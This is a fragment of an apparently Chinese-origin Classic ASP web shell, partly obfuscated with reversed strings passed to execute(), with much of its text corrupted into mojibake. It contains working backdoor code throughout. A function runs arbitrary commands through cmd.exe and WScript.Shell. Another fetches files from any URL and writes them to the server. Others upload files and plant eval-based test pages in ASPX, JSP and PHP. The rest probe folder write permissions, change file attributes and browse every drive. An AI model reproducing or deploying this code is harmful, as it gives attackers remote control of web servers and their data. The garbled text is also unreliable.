execute(shisanfun("gnihton = mso tes<65><73>esolc.mso<73><6F>hsulf.esnopser<65><72>daer.mso etirwyranib.esnopser<65><72><EFBFBD><EFBFBD>maerts-tetco/noitacilppa<70><61> = epyttnetnoc.esnopser<65><72><EFBFBD><EFBFBD>8-ftu<74><75> = tesrahc.esnopser<65><72>ezis.mso ,<2C><>htgnel-tnetnoc<6F><63> redaehdda.esnopser<65><72>)zs,htap(dim & <20><>=emanelif ;tnemhcatta<74><61> ,<2C><>noitisopsid-tnetnoc<6F><63> redaehdda.esnopser<65><72>1+)<29><>\<5C><>,htap(verrtsni=zs<7A><73>htap elifmorfdaol.mso<73><6F>1 = epyt.mso<73><6F>nepo.mso<73><6F>))0,6(tbo(tcejboetaerc = mso tes<65><73>raelc.esnopser<65><72>"))
end function
function htmlencode(s)
if not isnull(s) then
s = replace(s, ">", ">")
s = replace(s, "<", "<")
s = replace(s, chr(39), "'")
s = replace(s, chr(34), """")
s = replace(s, chr(20), " ")
htmlencode = s
end if
end function
ExeCuTe(ShiSanFun("noitcnuF dnE<6E><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>elbat/<>mrof/<>rt/<>dt/<>'<27><><EFBFBD><EFBFBD>'=eulav 'timbuS'=eman 'timbus'=epyt tupni< >'52'=ezis 'elif'=epyt 'eliFlacoL'=eman tupni<>'04'=ezis '<27><>&)<29><>exe.dmC\<5C><>&)<29><>htaPredloF<6F><46>(noisseS(htaPeRR&<26><>'=eulav 'htaPoT'=eman tupni<<3C><><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>>dt<>rt<>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?<3F><>&LRU&<26><>'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rb<<3C><>j <20><>fI dnE <20><>dnE.esnopseR <20><>)(rrEwohS <20><>IS j <20><>lrUkcaB&IS=IS <20><>gnihton=U teS<65><53>gnihton=F teS<65><53>fI dnE <20><>fi dnE <20><><EFBFBD><EFBFBD>>retnec/<<3C><><EFBFBD><EFBFBD><EFBFBD>ɩ<EFBFBD>&<26>崫<EFBFBD><E5B4AB>&<26><><EFBFBD>ϩ<EFBFBD>&emaNU&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>rb<>rb<>rb<>retnec<<3C><>=IS <20><>nehT 0=rebmun.rrE fI <20><>emaNU sAevaS.F <20><>eslE <20><>txen emuser rorre no<6E><6F><EFBFBD><EFBFBD>!<21><><EFBFBD>ϩ<EFBFBD>&<26><><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>һ<EFBFBD><D2BB>&<26><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>·<EFBFBD><C2B7>&<26><>ȫ<EFBFBD><C8AB><EFBFBD>ĩ<EFBFBD>&<26>崫<EFBFBD><E5B4AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>rb<<3C><>=IS <20><>neht 0=eziSeliF.F rO <20><><EFBFBD><EFBFBD>=emaNU fI <20><>)<29><>htaPoT<6F><54>(mrof.U=emaNU<4E><55>)<29><>eliFlacoL<6F><4C>(AU.U=F teS<65><53> CPU wen=U teS<65><53>nehT <20><>tsoP<6F><50>=)<29><>2noitcA<63><41>(tseuqeR fI <20><>)(eliFpU noitcnuF"))
function cmd1shell()
execute(shisanfun("is j<><6A><EFBFBD><EFBFBD>>mrof/<>aeratxet/<<3C><>&)31(rhc&is=is<69><73>fi dne<6E><65>fi dne<6E><65>aaa&is=is<69><73>)eurt ,elifpmetzs(elifeteled.osf llac<61><63>esolc.xclelifo<66><6F>)lladaer.xclelifo(edocnelmth.revres=aaa<61><61>)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tes<65><73>)<29><>tcejbometsyselif.gnitpircs<63><73>(tcejboetaerc = sf tes<65><73>)eurt ,0 ,elifpmetzs & <20><> > <20><> & dmcfed & <20><> c/ <20><>&htapllehs( nur.sw llac<61><63>)<29><>txt.dmc<6D><63>(htappam.revres = elifpmetzs<7A><73>)<29><>tcejbometsyselif.gnitpircs<63><73>(tcejboetaerc.revres=osf tes<65><73>)<29><>llehs.tpircsw<73><77>(tcejboetaerc.revres=sw tes<65><73>)<29><>llehs.tpircsw<73><77>(tcejboetaerc.revres=sw tes<65><73>txen emuser rorre no<6E><6F>esle<6C><65>aaa&is=is<69><73>lladaer.tuodts.dd=aaa<61><61>)dmcfed&<26><> c/ <20><>&htapllehs(cexe.mc=dd tes<65><73>))0,1(tbo(tcejboetaerc=mc tes<65><73>neht <20><>sey<65><79>=)<29><>tpircsw<73><77>(mrof.tseuqer fi<66><69>neht <20><><EFBFBD><EFBFBD>><)<29><>dmc<6D><63>(mrof.tseuqer fi<66><69><EFBFBD><EFBFBD>>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'<27><>ִ'=eulav 'timbus'=epyt tupni< >'<27><>&dmcfed&<26><>'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni<llehs.tpircsw><3E><>&dekcehc&<26><>'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<>'%07:htdiw'=elyts '<27><>&htapllehs&<26><>'=eulav 'ps'=eman tupni<<3C><><EFBFBD><EFBFBD>·llehs>'tsop'=dohtem mrof<<3C><>=is<69><73>)<29><>dmc<6D><63>(tseuqer = dmcfed neht <20><><EFBFBD><EFBFBD>><)<29><>dmc<6D><63>(tseuqer fi<66><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=dekcehc neht <20><>sey<65><79>><)<29><>tpircsw<73><77>(tseuqer fi<66><69><EFBFBD><EFBFBD>exe.dmc<6D><63> = htapllehs neht <20><><EFBFBD><EFBFBD>=htapllehs fi<66><69>)<29><>htapllehs<68><73>(noisses=htapllehs<68><73>)<29><>ps<70><73>(tseuqer = )<29><>htapllehs<68><73>(noisses neht <20><><EFBFBD><EFBFBD>><)<29><>ps<70><73>(tseuqer fi<66><69><EFBFBD><EFBFBD>dekcehc <20><>=dekcehc<68><63>"))
end function
Function upload()
j"<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
j"<22><>ʱ<EFBFBD>رմ˹<D5B4><CBB9><EFBFBD>"
j" <20><><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A>޻<EFBFBD><DEBB><EFBFBD>...Ϊ<>˽<EFBFBD>ʡ.<2E><><EFBFBD><EFBFBD><EFBFBD>޻<EFBFBD><DEBB><EFBFBD><hr/>"
j"<form method=post>"
j"<select onChange='this.form.theUrl.value=this.value;'>"
j"<option value=''><3E><><EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>"
j"<input name=theUrl value='http://' size=80><input type=submit value=' <20><><EFBFBD><EFBFBD> '><br/>"
j"<input name=thePath value='" & HtmlEncode(Server.MapPath(".")) & "\' size=80>"
j"<input type=checkbox name=overWrite value=2><3E><><EFBFBD>ڸ<EFBFBD><DAB8>ǡ<EFBFBD>"
j"<input type=hidden value=downFromUrl name=theAct>"
j"</form>"
j"<hr/>"
If isDebugMode = False Then
On Error Resume Next
End If:Dim Http, theUrl, thePath, stream, fileName, overWrite
theUrl = Request("theUrl")
thePath = Request("thePath")
overWrite = Request("overWrite")
Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If overWrite <> 2 Then:overWrite = 1:End If
Http.Open "GET", theUrl, False
Http.Send()
If Http.ReadyState <> 4 Then
End If
With stream
.Type = 1
.Mode = 3
.Open
.Write Http.ResponseBody
.Position = 0
.SaveToFile thePath, overWrite
If Err.Number = 3004 Then
Err.Clear
fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
If fileName = "" Then
fileName = "index.htm.txt"
End If
thePath = thePath & "\" & fileName
.SaveToFile thePath, overWrite
j"error,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ع<EFBFBD><D8B9>̺͵<CCBA>ַ<EFBFBD>г<EFBFBD> <20>ִ<EFBFBD><D6B4><EFBFBD> <20><> <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>Ϊ<EFBFBD><CEAA><EFBFBD>ֽڣ<D6BD><DAA3><EFBFBD>"
End If
.Close
End With
chkErr(Err)
Set Http = Nothing
Set Stream = Nothing
If isDebugMode = False Then
On Error Resume Next
End If
If Request("ice")="fso" Then
response.Redirect str1&"test.aspx"
elseif Request("ice")="fsos" then
response.Redirect str1&"test.php"
elseif Request("ice")="jztxt" then
response.Redirect "http://"&serveru&"/global.asa"
elseif Request("ice")="killdoor" then
response.Redirect str1&"killdoor.asp"
end if
End Function:Function TSearch():dim st:st=timer():RW="<br><table width='600' bgcolor='' border='0' cellspacing='1' cellpadding='0' align='center'><form method='post'>"
RW=RW & "<tr><td height='20' align='center' bgcolor=''><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td></tr>"
RW=RW & "<tr><td bgcolor=''>&nbsp;·&nbsp;&nbsp;<3B><><EFBFBD><EFBFBD><input name='SFpath' value='" & WWWRoot & "' style='width:390'>&nbsp;ע:<3A><>·<EFBFBD><C2B7>ʹ<EFBFBD><CAB9>"",""<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.</td></tr>"
RW=RW & "<tr><td bgcolor=''>&nbsp;<3B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><input name='Sfk' style='width:200'>&nbsp;<input type='submit' value='<27><><EFBFBD><EFBFBD>' class='submit'>&nbsp;[<5B><><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2>]</td></tr>"
RW=RW & "</form></table>"
j RW : RW=""
if Request.Form("Sfk")<>"" then
Set newsearch=new SearchFile
newsearch.Folders=trim(Request.Form("SFpath"))
newsearch.keyword=trim(Request.Form("Sfk"))
newsearch.Search
Set newsearch=Nothing
j"<22>M<EFBFBD>r<EFBFBD><72>"&(timer()-st)*1000&"<22><><EFBFBD><EFBFBD><hr>"
end if
End Function
Class SearchFile
dim Folders,keyword,objFso,Counter
Private Sub Class_Initialize
Set objFso=Server.CreateObject(ObT(0,0))
Counter=0
End Sub
Private Sub Class_Terminate
Set objFso=Nothing
End Sub
Function Search
Folders=split(Folders,",")
flag=instr(keyword,"\") or instr(keyword,"/")
flag=flag or instr(keyword,":")
flag=flag or instr(keyword,"|")
flag=flag or instr(keyword,"&")
if flag then
j"<table align='center' width='600'><hr><p align='center'><font color='red'><3E>P<EFBFBD>I<EFBFBD>ֲ<EFBFBD><D6B2>ܰ<EFBFBD><DCB0><EFBFBD>/\:|&</font><br>"
Exit Function
else
j"<table align='center' width='600'><hr>"
end if
dim i
for i=0 to ubound(Folders)
Call GetAllFile(Folders(i))
next
j"<p align='center'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color='red'>"&Counter&"</font><3E><><EFBFBD>Y<EFBFBD><59><br>"
End Function
Private Function GetAllFile(Folder)
dim objFd,objFs,objFf
Set objFd=objFso.GetFolder(Folder)
Set objFs=objFd.SubFolders
Set objFf=objFd.Files
dim strFdName
On Error Resume Next
For Each OneDir In objFs
strFdName=OneDir.Name
If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then
SFN=Folder&"\"&strFdName
Call GetAllFile(SFN)
End If
Next
dim strFlName
For Each OneFile In objFf
strFlName=OneFile.Name
If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then
FN=Folder&"\"&strFlName
Counter=Counter+ColorOn(FN)
End If
Next
Set objFd=Nothing
Set objFs=Nothing
Set objFf=Nothing
End Function
Private Function CreatePattern(keyword)
CreatePattern=keyword
CreatePattern=Replace(CreatePattern,".","\.")
CreatePattern=Replace(CreatePattern,"+","\+")
CreatePattern=Replace(CreatePattern,"(","\(")
CreatePattern=Replace(CreatePattern,")","\)")
CreatePattern=Replace(CreatePattern,"[","\[")
CreatePattern=Replace(CreatePattern,"]","\]")
CreatePattern=Replace(CreatePattern,"{","\{")
CreatePattern=Replace(CreatePattern,"}","\}")
CreatePattern=Replace(CreatePattern,"*","[^\\\/]*")
CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}")
CreatePattern="("&CreatePattern&")+"
End Function
Private Function ColorOn(FileName)
dim objReg
Set objReg=new RegExp
objReg.Pattern=CreatePattern(keyword)
objReg.IgnoreCase=True
objReg.Global=True
retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1))
if retVal then
OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"<font color=''>$1</font>")
OutPut="<table align='center' width='600'>&nbsp;" & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut
j OutPut
Response.flush
ColorOn=1
else
ColorOn=0
end if
Set objReg=Nothing
End Function
End Class
execute(shisanfun("<22><>noitcnuf dnE:fI dnE:<3A><>)'<27><><EFBFBD><EFBFBD>¼Ŀ<C2BC><C4BF>վ<EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD>'(trela<6C><61><EFBFBD><EFBFBD>=kcilcno <20><><EFBFBD><EFBFBD>###<23><>=lrUnepo:eslE:<3A><>knalb_<62><5F><EFBFBD><EFBFBD>=tegrat <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&lrUeht&<26><>/<2F><>=lrUnepo:fI dnE:)2 ,lrUeht(diM = lrUeht:nehT <20><>/<2F><> = )1 ,lrUeht(tfeL fI:)<29><>/<2F><> ,<2C><>\<5C><> ,lrUeht(ecalpeR = lrUeht:)1 + )htaPeht(neL ,htaPesu(diM = lrUeht:nehT )htaPeht(esaCL = )))htaPeht(neL ,htaPesu(tfeL(esaCL fI:)<29><>/<2F><>(htaPpaM.revreS = htaPeht:htaPeht ,lrUeht miD:)htaPesu(lrUnepo noitcnuf:noitcnuF dnE:fi dne:<3A><>B<EFBFBD><42> & eziSeht = eziSehTteg: nehT 4201< eziSeht dnA 0 => eziSeht fI:fi dne:<3A><>K<EFBFBD><4B> & 001 / )001 * )4201 / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201( < eziSeht dnA 4201 => eziSeht fI:fi dne:<3A><>M<EFBFBD><4D> & 001 / )001 * ))4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( < eziSeht dnA )4201 * 4201( => eziSeht fI:fi dne:<3A><>G<EFBFBD><47> & 001 / )001 * ))4201 * 4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( => eziSeht fI:)eziSeht(eziSehTteg noitcnuF:noitcnuF dnE:fi dne:<3A><>><3E><><EFBFBD><EFBFBD>'<27><>&htaPrewoP&<26><>=htaPrewoP&2=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol<6F><6C><EFBFBD><EFBFBD>=kcilcno <20><><EFBFBD><EFBFBD>=eulav nottub=epyt tupni< >tnof/<<3C><><EFBFBD><EFBFBD>δ>26FF26#=roloc tnof<<3C><> = setubirttAteg:esle:<3A><>><3E><><EFBFBD><EFBFBD>'<27><>&htaPrewoP&<26><>=htaPrewoP&1=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol<6F><6C><EFBFBD><EFBFBD>=kcilcno <20><><EFBFBD><EFBFBD>=eulav nottub=epyt tupni< >tnof/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>der=roloc tnof<<3C><> = setubirttAteg: neht 0=KOtidE fi:)<29><>\\<5C><>,<2C><>\<5C><>,htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => eulaVtni fI:fI dnE:0=KOtidE:2 - eulaVtni = eulaVtni:nehT 2 => eulaVtni fI:fI dnE:0=KOtidE:4 - eulaVtni = eulaVtni:nehT 4 => eulaVtni fI:fI dnE:8 - eulaVtni = eulaVtni:nehT 8 => eulaVtni fI:fI dnE:61 - eulaVtni = eulaVtni:nehT 61 => eulaVtni fI:fI dnE:23 - eulaVtni = eulaVtni:nehT 23 => eulaVtni fI:fI dnE:46 - eulaVtni = eulaVtni:nehT 46 => eulaVtni fI:fI dnE:821 - eulaVtni = eulaVtni:nehT 821 => eulaVtni fI:1=KOtidE:KOtidE miD:)htaPrewoP,eulaVtni(setubirttAteg noitcnuF:noitcnuF dnE:eltiTrts = eltiTyMteg:)htaPrewoP,setubirttA.enOeht(setubirttAteg & <20><> :̬״<CCAC><D7B4>Ȩǰ<C8A8><C7B0>>rb<<3C><> & eltiTrts = eltiTrts:desseccAtsaLetaD.enOeht & <20><> :<3A>ʷú<CAB7><C3BA><EFBFBD>>rb<<3C><> & eltiTrts = eltiTrts:deifidoMtsaLetaD.enOeht & <20><> :<3A><><EFBFBD>޺<EFBFBD><DEBA><EFBFBD>>rb<<3C><> & eltiTrts = eltiTrts: detaerCetaD.enOeht & <20><> :<3A><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>>rb<<3C><> & eltiTrts = eltiTrts: )eziS.enOeht(eziSehTteg & <20><> :С<><D0A1>>rb<<3C><> & eltiTrts = eltiTrts: <20><><EFBFBD><EFBFBD> & htaP.enOeht & <20><> :<3A><>·>rb<<3C><> & eltiTrts = eltiTrts:eltiTrts miD:)htaPrewoP,enOeht(eltiTyMteg noitcnuF:bus dne:gnihtoN = eliFeht teS:)htaPrewoP,eliFeht(eltiTyMteg j:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)<29><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,htaPrewoP(ecalper=htaPrewoP:)htaPrewoP(rewoPtidE bus:bus dne:gnihtoN = eliFeht teS:fi dne:<3A><>>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'<27><><EFBFBD><EFBFBD><EFBFBD>ɶ<EFBFBD><C9B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'(trela>'tpircsavaj'=egaugnal tpircs<<3C><> j:7=setubirttA.eliFeht:esle:<3A><>>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'<27><><EFBFBD><EFBFBD><EFBFBD>⹦<EFBFBD><E2B9A6><EFBFBD>Ѽ<EFBFBD><D1BC><EFBFBD>'(trela>'tpircsavaj'=egaugnal tpircs<<3C><> j:23=setubirttA.eliFeht:neht 1=epyTevaS fi:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)epyTevaS,htaPrewoP(rewoPevaS bus<75><73>"))
Function ScReWr(folder)
execute(shisanfun("rtSrWeR = rWeRcS<63><53>gnihtoN = OSF teS<65><53>gnihtoN = redloFtseT teS<65><53>gnihtoN = tsiLeliFtseT teS<65><53>fi dnE<6E><45>fi dnE<6E><45>eurT,emaneliFdnR & redlof eliFeteleD.OSF<53><46><EFBFBD><EFBFBD> <20><>>naps/<д>';xp11:ezis-tnof'=elyts naps<<3C><> & rtSrWeR = rtSrWeR<65><52>eslE<6C><45><EFBFBD><EFBFBD> >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps<<3C><> & rtSrWeR = rtSrWeR<65><52>raelC.rre<72><65>nehT rre fI<66><49>eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF<53><46><EFBFBD><EFBFBD> <20><>>naps/<<3C><>>';xp11:ezis-tnof'=elyts naps<<3C><> = rtSrWeR<65><52>eslE<6C><45>fI dnE<6E><45>eurT,emaneliFdnR & redlof eliFeteleD.OSF<53><46><EFBFBD><EFBFBD> <20><>>naps/<д>';xp11:ezis-tnof'=elyts naps<<3C><> & rtSrWeR = rtSrWeR<65><52>eslE<6C><45><EFBFBD><EFBFBD> >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps<<3C><> & rtSrWeR = rtSrWeR<65><52>raelC.rre<72><65>nehT rre fI<66><49>eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF<53><46><EFBFBD><EFBFBD> >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<<3C><>>';xp11:ezis-tnof'=elyts naps<<3C><> = rtSrWeR<65><52>raelC.rre<72><65>nehT rre fI<66><49>txeN<65><4E>tsiLeliFtseT ni A hcaE roF<6F><46><EFBFBD><EFBFBD>pmt.<2E><> & )won(dnoceS & )won(etuniM & )won(ruoH & )won(yaD & <20><>pmet\<5C><> = emaneliFdnR<6E><52>sredloFbuS.redloFtseT = tsiLeliFtseT teS<65><53>)redlof(redloFteG.OSF = redloFtseT teS<65><53>)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejboetaerC.revreS = OSF teS<65><53>emaneliFdnR,rtSrWeR,tsiLeliFtseT,redloFtseT,OSF miD<69><44> txen emuser rorre no"))
End Function
function php()
execute(shisanfun("<22><>>rb<>mrof/<>sosf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&php.tset\<5C><>&htaptoor&<26><>=htaPeht&<26><>&tphp&<26><>=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<>mrof/<>osf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&xpsa.tset\<5C><>&htaptoor&<26><>=htaPeht&<26><>&txpsa&<26><>=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>retnec<>'02'=thgieh dt<>rt<>retnec/<>a/<>tnof/<>b/<)!<21><><EFBFBD><EFBFBD><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD>ɾ(>b<>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>retnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<>retnec/< ;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw xpsa.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw psj.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw php.tset=crs emarfi<>retnec<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>oo<6F><6F>_<EFBFBD><5F>oo tseT xpsa<73><61>&)26(rhc&<26><><EFBFBD><EFBFBD>&)73(rhc&<26><>;))<29><><EFBFBD><EFBFBD>efasnu<6E><75><EFBFBD><EFBFBD>,]<5D><><EFBFBD><EFBFBD>w<EFBFBD><77><EFBFBD><EFBFBD>[metI.tseuqeR(lave(etirW.esnopseR<65><52>&)73(rhc&<26><><EFBFBD><EFBFBD>&)06(rhc&<26><><EFBFBD><EFBFBD>&)26(rhc&<26><><EFBFBD><EFBFBD>&)73(rhc&<26><> <20><><EFBFBD><EFBFBD>eslaf<61><66><EFBFBD><EFBFBD>=tseuqeRetadilav <20><><EFBFBD><EFBFBD>tpircsJ<73><4A><EFBFBD><EFBFBD>=egaugnaL egaP @%<25><>&)06(rhc&<26><><EFBFBD><EFBFBD>etirW.))<29><>xpsa.tset<65><74>(htappam.revres(eliFtxeTetaerC.osf<73><66><EFBFBD><EFBFBD>oo<6F><6F>_<EFBFBD><5F>oo tseT psJ<73><4A>etirW.))<29><>psj.tset<65><74>(htappam.revres(eliFtxeTetaerC.osf<73><66><EFBFBD><EFBFBD>>?)(ofniphp php?<>?'oo<6F><6F>_<EFBFBD><5F>oo' ohce PHP?<<3C><>etirW.))<29><>php.tset<65><74>(htappam.revres(eliFtxeTetaerC.osf<73><66>))0,0(tBo(tcejbOetaerC.revreS=osf tes<65><73>txeN emuseR rorrE nO<6E><4F>"))
End function
On Error Resume Next
function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!":End function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
j cdx&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>&nbsp<73><70><EFBFBD>ش<EFBFBD><D8B4><EFBFBD> ("&D.DriveLetter&":)</a><br></td></tr>"
Next
End Function
Function IsIco(ia,ib,ta)
If ShowFileIco=true Then
IsIco = " <img src='"&IcoPath&ia&"'> "
If ib<>"" Then
IsIco = "<img src='"&IcoPath&ib&"'> "
End If
Else
IsIco = "&nbsp;<font face='wingdings' color='#dddddd' size='6'>"&ta&"</font> "
End If
End Function
Function FileIco(FName)
If ShowFileIco=true Then
TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip.jsp.aspx.;"
FileType = lcase(Mid(FName, InstrRev(FName,".")+1))
If Instr(TypeList,"."&FileType)>0 then
Ico = FileType&".gif"
Else
Ico = "default.gif"
End If
FileIco = "<img src='"&IcoPath&Ico&"' border='0'> "
Else
FileIco="<font face='wingdings' color='#dddddd' size='3'>2</font> "
End If
End Function
Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='6'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10 width=17% align=center><div style='border:1px solid #383838;padding-bottom:4px'>"
SI=SI&IsIco("","folder.gif","0")
